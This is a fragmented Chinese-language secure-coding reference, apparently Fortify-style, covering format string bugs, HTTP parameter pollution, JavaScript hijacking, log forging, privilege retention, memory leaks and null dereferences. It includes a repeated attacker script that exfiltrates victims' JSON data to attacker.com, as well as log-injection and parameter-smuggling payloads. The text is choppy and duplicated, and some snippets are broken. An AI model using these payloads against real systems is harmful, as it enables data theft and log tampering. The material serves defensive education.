services-config.xml
描述符文件会指定一个“Logging”XML 元素来描述日志记录的不同方面。它类似于以下内容:
<logging>
<target class="flex.messaging.log.ConsoleTarget" level="Debug">
<properties>
<prefix>[BlazeDS]</prefix>
<includeDate>false</includeDate>
<includeTime>false</includeTime>
<includeLevel>false</includeLevel>
<includeCategory>false</includeCategory>
</properties>
<filters>
<pattern>Endpoint.*</pattern>
<pattern>Service.*</pattern>
<pattern>Configuration</pattern>
</filters>
</target>
</logging>
target
标签可采用一个名为 level
的可选属性,用来指示日志级别。如果调试级别设置为太详细的级别,您的应用程序可能会将敏感数据写入日志文件。sprintf()
、FormatMessageW()
或 syslog()
。snprintf()
将一个命令行参数复制到缓冲区中。
int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}
%x
)来读取堆栈中的内容,然后函数会作为即将格式化的参数使用。(在本例中,函数没有采用任何即将格式化的参数。)通过使用 %n
格式化指令,攻击者能够对堆栈进行写入,进而使 snprintf()
记下迄今为止输出的字节数,并将其传送给指定的参数(而不是直接从参数中读取数值,这是程序员最初设计的行为)。对于这种攻击,更为的复杂的形式是使用四条交错的写入来完全控制堆栈中某个指针的值。
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
中所述。syslog()
函数有时候可以这样使用:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
的第二个参数是格式字符串,因此 cmdBuf
中的任何格式化指令都会按照Example 1
中所述进行解释。syslog()
的正确使用方式:
...
syslog(LOG_ERR, "%s", cmdBuf);
...
sprintf()
、FormatMessageW()
、syslog()
、NSLog
或 NSString.stringWithFormat
示例 1:下面的代码将命令行参数作为 NSString.stringWithFormat:
中的 format string。
int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}
%x
)来读取堆栈中的内容,然后函数会作为即将格式化的参数使用。(在本例中,函数没有采用任何即将格式化的参数。)
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
中所述。syslog()
函数有时候可以这样使用:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
的第二个参数是格式字符串,因此 cmdBuf
中的任何格式化指令都会按照Example 1
中所述进行解释。syslog()
的正确使用方式:示例 4:Apple 核心类提供了利用 format string 漏洞的有趣途径。
...
syslog(LOG_ERR, "%s", cmdBuf);
...
String.stringByAppendingFormat()
函数有时候可以这样使用:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...
stringByAppendingFormat()
的正确使用方式:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
strncpy()
),使用方式不正确也会引发漏洞。对内存的处理加之有关数据段大小和结构方面所存在种种错误假设,是导致大多数 buffer overflow 漏洞产生的根源。
void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
strncpy()
),使用方式不正确也会引发漏洞。对内存的处理加之有关数据段大小和结构方面所存在种种错误假设,是导致大多数 buffer overflow 漏洞产生的根源。%d
格式说明符将一个浮点转换为 f
。
void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...
lang
(例如 en&poll_id=1
),然后攻击者可以随意更改该 poll_id
。
...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...
lang
(例如 en&poll_id=1
),然后攻击者将可以随意更改该 poll_id
。
<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>
name=alice
,但他们添加了额外的 name=alice&
,如果在提取第一个匹配项的服务器上使用它,那么它可能会模仿 alice
以便获取有关她的帐户的详细信息。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
标签求值的有效 JavaScript 组成,因此很容易受到 JavaScript 劫持的攻击 [1]。默认情况下,这个框架使用 POST 方法提交请求,这样就很难从恶意 <script>
标签生成请求(因为 <script>
标签仅生成 GET 请求)。尽管如此,Microsoft AJAX.NET 确实提供了使用 GET 请求的机制。事实上,许多专家建议程序员使用 GET 请求,以减少浏览器缓存和改善性能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
标签求值的有效 JavaScript 组成,因此很容易受到 JavaScript 劫持的攻击 [1]。默认情况下,这个框架使用 POST 方法提交请求,这样就很难从恶意 <script>
标签生成请求(因为 <script>
标签仅生成 GET 请求)。尽管如此,GWT 确实提供了使用 GET 请求的机制。事实上,许多专家建议程序员使用 GET 请求,以减少浏览器缓存和改善性能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
search
方法的 javax.naming.directory.SearchControls
实例的 returningObjectFlag
设置为 true
,或使用代表其设置此标志的库函数,执行对象返回搜索。
<beans ... >
<authentication-manager>
<ldap-authentication-provider
user-search-filter="(uid={0})"
user-search-base="ou=users,dc=example,dc=org"
group-search-filter="(uniqueMember={0})"
group-search-base="ou=groups,dc=example,dc=org"
group-role-attribute="cn"
role-prefix="ROLE_">
</ldap-authentication-provider>
</authentication-manager>
</beans>
chroot()
一类的操作所需要的提高了的权限。chroot()
,它必须先获取 root
权限。当受权限控制的操作完成后,程序应该马上丢弃 root
权限并且返回调用它的用户权限等级。chroot()
函数,将应用程序限制在 APP_HOME
下的 file system 的子集中,以防止攻击者通过程序访问位于其他地方的未经授权的文件。然后,代码打开一个由用户指定的文件并处理文件的内容。
...
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
setuid()
进行调用,意味着应用程序仍在使用没有必要的 root
权限进行操作。任何由攻击者对应用程序实施的成功盗取都会导致发生权限扩大的攻击,因为所有的恶意操作都将以超级用户的权限执行。如果应用程序把权限等级降低到一个非 root
用户,则会显著减少很多潜在的破坏。
...
DATA log_msg TYPE bal_s_msg.
val = request->get_form_field( 'val' ).
log_msg-msgid = 'XY'.
log_msg-msgty = 'E'.
log_msg-msgno = '123'.
log_msg-msgv1 = 'VAL: '.
log_msg-msgv2 = val.
CALL FUNCTION 'BAL_LOG_MSG_ADD'
EXPORTING
I_S_MSG = log_msg
EXCEPTIONS
LOG_NOT_FOUND = 1
MSG_INCONSISTENT = 2
LOG_IS_FULL = 3
OTHERS = 4.
...
val
”提交字符串“FOO
”,则日志中会记录以下条目:
XY E 123 VAL: FOO
FOO XY E 124 VAL: BAR
”,则日志中会记录以下条目:
XY E 123 VAL: FOO XY E 124 VAL: BAR
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var val:String = String(params["username"]);
var value:Number = parseInt(val);
if (value == Number.NaN) {
trace("Failed to parse val = " + val);
}
val
" 提交字符串 "twenty-one
",则日志中会记录以下条目:
Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
",则日志中会记录以下条目:
Failed to parse val=twenty-one
User logged out=badguy
...
string val = (string)Session["val"];
try {
int value = Int32.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val= " + val);
}
...
val
”提交字符串“twenty-one
”,则日志中会记录以下条目:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
”,则日志中会记录以下条目:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
syslog(LOG_INFO,"Illegal value = %s",val);
...
val
" 提交字符串 "twenty-one
",则日志中会记录以下条目:
Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
",则日志中会记录以下条目:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
01 LOGAREA.
05 VALHEADER PIC X(50) VALUE 'VAL: '.
05 VAL PIC X(50).
...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(VAL)
...
END-EXEC.
EXEC DLI
LOG
FROM(LOGAREA)
LENGTH(50)
END-EXEC.
...
VAL
" 提交字符串 "FOO
",则日志中会记录以下条目:
VAL: FOO
FOO VAL: BAR
",则日志中会记录以下条目:
VAL: FOO VAL: BAR
<cflog file="app_log" application="No" Thread="No"
text="Failed to parse val="#Form.val#">
val
" 提交字符串 "twenty-one
",则日志中会记录以下条目:
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
twenty-one%0a%0a%22Information%22%2C%2C%2202/28/01%22%2C%2214:53:40%22%2C%2C%22User%20logged%20out:%20badguy%22
",则日志中会记录以下条目:
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
"Information",,"02/28/01","14:53:40",,"User logged out: badguy"
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
name := r.FormValue("name")
logout := r.FormValue("logout")
...
if (logout){
...
} else {
log.Printf("Attempt to log out: name: %s logout: %s", name, logout)
}
}
logout
提交字符串“twenty-one
”,而且他可以创建一个名为“admin
”的用户,则日志中会记录以下条目:
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
",则日志中将记录以下条目:
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...
val
”提交字符串“twenty-one
”,则日志中会记录以下条目:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
”,则日志中会记录以下条目:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
以适应 Android 平台。
...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
var cp = require('child_process');
var http = require('http');
var url = require('url');
function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.log("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...
val
”提交字符串“twenty-one
”,则日志中会记录以下条目:
INFO: Failed to parse val = twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
”,则日志中会记录以下条目:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
NSLog("Illegal value = %s",val);
...
val
" 提交字符串 "twenty-one
",则日志中会记录以下条目:
INFO: Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
",则日志中会记录以下条目:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
<?php
$name =$_GET['name'];
...
$logout =$_GET['logout'];
if(is_numeric($logout))
{
...
}
else
{
trigger_error("Attempt to log out: name: $name logout: $val");
}
?>
logout
提交字符串“twenty-one
”,而且他可以创建一个名为“admin
”的用户,则日志中会记录以下条目:
PHP Notice: Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
",则日志中将记录以下条目:
PHP Notice: Attempt to log out: name: admin logout: 1 logout: twenty-one
name = req.field('name')
...
logout = req.field('logout')
if (logout):
...
else:
logger.error("Attempt to log out: name: %s logout: %s" % (name,logout))
logout
提交字符串“twenty-one
”,而且他可以创建一个名为“admin
”的用户,则日志中会记录以下条目:
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
",则日志中将记录以下条目:
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
val = req['val']
unless val.respond_to?(:to_int)
logger.info("Failed to parse val")
logger.info(val)
end
...
val
”提交字符串“twenty-one
”,则日志中会记录以下条目:
INFO: Failed to parse val
INFO: twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
”,则日志中会记录以下条目:
INFO: Failed to parse val
INFO: twenty-one
INFO: User logged out=badguy
...
let num = Int(param)
if num == nil {
NSLog("Illegal value = %@", param)
}
...
val
”提交字符串“twenty-one
”,则日志中会记录以下条目:
INFO: Illegal value = twenty-one
twenty-one\n\nINFO: User logged out=evil
”,则日志中会记录以下条目:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
Dim Val As Variant
Dim Value As Integer
Set Val = Request.Form("val")
If IsNumeric(Val) Then
Set Value = Val
Else
App.EventLog "Failed to parse val=" & Val, 1
End If
...
val
”提交字符串“twenty-one
”,则日志中会记录以下条目:
Failed to parse val=twenty-one
twenty-one%0a%0a+User+logged+out%3dbadguy
”,则日志中会记录以下条目:
Failed to parse val=twenty-one
User logged out=badguy
read()
后没有返回预期的字节数,以下 C 函数将会泄漏已分配的内存块的信息:
char* getBlock(int fd) {
char* buf = (char*) malloc(BLOCK_SIZE);
if (!buf) {
return NULL;
}
if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) {
return NULL;
}
return buf;
}
CALL "CBL_ALLOC_MEM"
USING mem-pointer
BY VALUE mem-size
BY VALUE flags
RETURNING status-code
END-CALL
IF status-code NOT = 0
DISPLAY "Error!"
GOBACK
ELSE
SET ADDRESS OF mem TO mem-pointer
END-IF
PERFORM write-data
IF ws-status-code NOT = 0
DISPLAY "Error!"
GOBACK
ELSE
DISPLAY "Success!"
END-IF
CALL "CBL_FREE_MEM"
USING BY VALUE mem-pointer
RETURNING status-code
END-CALL
GOBACK
.
dealloc()
方法中未能将其释放。init()
方法分配内存,但无法通过 deallocate()
方法将其释放,导致 memory leak:
- (void)init
{
myVar = [NSString alloc] init];
...
}
- (void)dealloc
{
[otherVar release];
}
realloc()
调用无法调整初始分配的大小,以下 C 函数会泄漏一块分配的内存。
char* getBlocks(int fd) {
int amt;
int request = BLOCK_SIZE;
char* buf = (char*) malloc(BLOCK_SIZE + 1);
if (!buf) {
goto ERR;
}
amt = read(fd, buf, request);
while ((amt % BLOCK_SIZE) != 0) {
if (amt < request) {
goto ERR;
}
request = request + BLOCK_SIZE;
buf = realloc(buf, request);
if (!buf) {
goto ERR;
}
amt = read(fd, buf, request);
}
return buf;
ERR:
if (buf) {
free(buf);
}
return NULL;
}
realloc()
无法调整原始分配的大小,则以下 Micro Focus COBOL 程序会泄漏已分配内存块。
CALL "malloc" USING
BY VALUE mem-size
RETURNING mem-pointer
END-CALL
ADD 1000 TO mem-size
CALL "realloc" USING
BY VALUE mem-pointer
BY VALUE mem-size
RETURNING mem-pointer
END-CALL
IF mem-pointer <> null
CALL "free" USING
BY VALUE mem-pointer
END-CALL
END-IF
null
。Equals()
之前检查 Item
属性返回的字符串是否为 null
,从而可能会导致 null
dereference。
string itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
...
}
...
null
也就无关紧要了。”null
。malloc()
返回的指针之前,并没有检查内存是否分配成功。
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
malloc()
的调用失败是不是因为 req_size
太大,还是因为在同一时刻处理的请求太多。或者是由于已累计超时的 memory leak 引起的。如果不对错误进行处理,就不会知道是什么原因。null
。compareTo()
之前,不会检查 getParameter()
返回的字符串是否为 null
,从而可能会造成 null
dereference。例 2:。以下代码显示了这样一个例子,一个系统属性被设置为了
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
...
}
...
null
,随后间接引用它的程序员错误地认为该属性值是已定义的。
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95") )
System.out.println("Not supported");
null
也就无关紧要了。”NullException
。cmd
”的属性。如果攻击者可以控制程序的环境,从而使“cmd
”处于未定义状态,则它就会在尝试调用 Trim()
方法时抛出一个 null 指针异常。
string cmd = null;
...
cmd = Environment.GetEnvironmentVariable("cmd");
cmd = cmd.Trim();
null
的指针是否为 null
之前间接引用该指针,则会发生 check-after-dereference 错误。如果程序明确检查过 null
,并确定该指针为 null
,但仍继续间接引用该指针,则会出现 dereference-after-check 错误。此类错误通常是由于错别字或程序员疏忽造成的。如果程序明确将指针设置为 null
,但稍后却间接引用该指针,则将出现 dereference-after-store 错误。此错误通常是因为程序员在声明变量时将该变量初始化为 null
所致。ptr
不是 NULL
。当程序员间接引用该指针时,这个假设就会清晰的体现出来。当程序员检查 ptr
是否为 NULL
时,就会与该假设发生矛盾。当在 if
语句中检查时,如果 ptr
可以为 NULL
,则在其间接引用时也将为 NULL
,并引起 segmentation fault。示例 2:在下列代码中,程序员会确认变量
ptr->field = val;
...
if (ptr != NULL) {
...
}
ptr
为 NULL
,然后错误地对其进行间接引用。如果在 if
语句中检查 ptr
时其为 NULL
,则会发生 null
dereference,从而导致分段故障。示例 3:在下列代码中,程序员忘记了字符串
if (ptr == null) {
ptr->field = val;
...
}
'\0'
实际上为 0 还是 NULL
,从而间接引用 null 指针并引发分段故障。示例 4:在下列代码中,程序员会将变量
if (ptr == '\0') {
*ptr = val;
...
}
ptr
明确设置为 NULL
。之后,程序员会间接引用 ptr
,而未检查对象是否为 null
值。
*ptr = NULL;
...
ptr->field = val;
...
}
NullPointerException
。cmd
”的属性。如果攻击者可以控制程序的环境,从而使“cmd
”处于未定义状态,则它就会在尝试调用 trim()
方法时抛出一个 null 指针异常。
String val = null;
...
cmd = System.getProperty("cmd");
if (cmd)
val = util.translateCommand(cmd);
...
cmd = val.trim();
clone()
应调用 super.clone()
获取新的对象。clone()
的方法中,应通过调用 super.clone()
来获取新对象。如果类没有遵守该约定,那么子类的 clone()
方法将会返回一个错误的对象类型。super.clone()
而产生的 bug。由于 Kibitzer
实现 clone()
的方法的缘故,FancyKibitzer
的克隆方法将会返回类型为 Kibitzer
而非 FancyKibitzer
的对象。
public class Kibitzer implements Cloneable {
public Object clone() throws CloneNotSupportedException {
Object returnMe = new Kibitzer();
...
}
}
public class FancyKibitzer extends Kibitzer
implements Cloneable {
public Object clone() throws CloneNotSupportedException {
Object returnMe = super.clone();
...
}
}
Equals()
和 GetHashCode()
中的一个。a.Equals(b) == true
,那么 a.GetHashCode() == b.GetHashCode()
。 Equals()
,但没有重写 GetHashCode()
。
public class Halfway() {
public override boolean Equals(object obj) {
...
}
}
equals()
和 hashCode()
中的一个。a.equals(b) == true
,那么 a.hashCode() == b.hashCode()
。 equals()
,但没有重写 hashCode()
。
public class halfway() {
public boolean equals(Object obj) {
...
}
}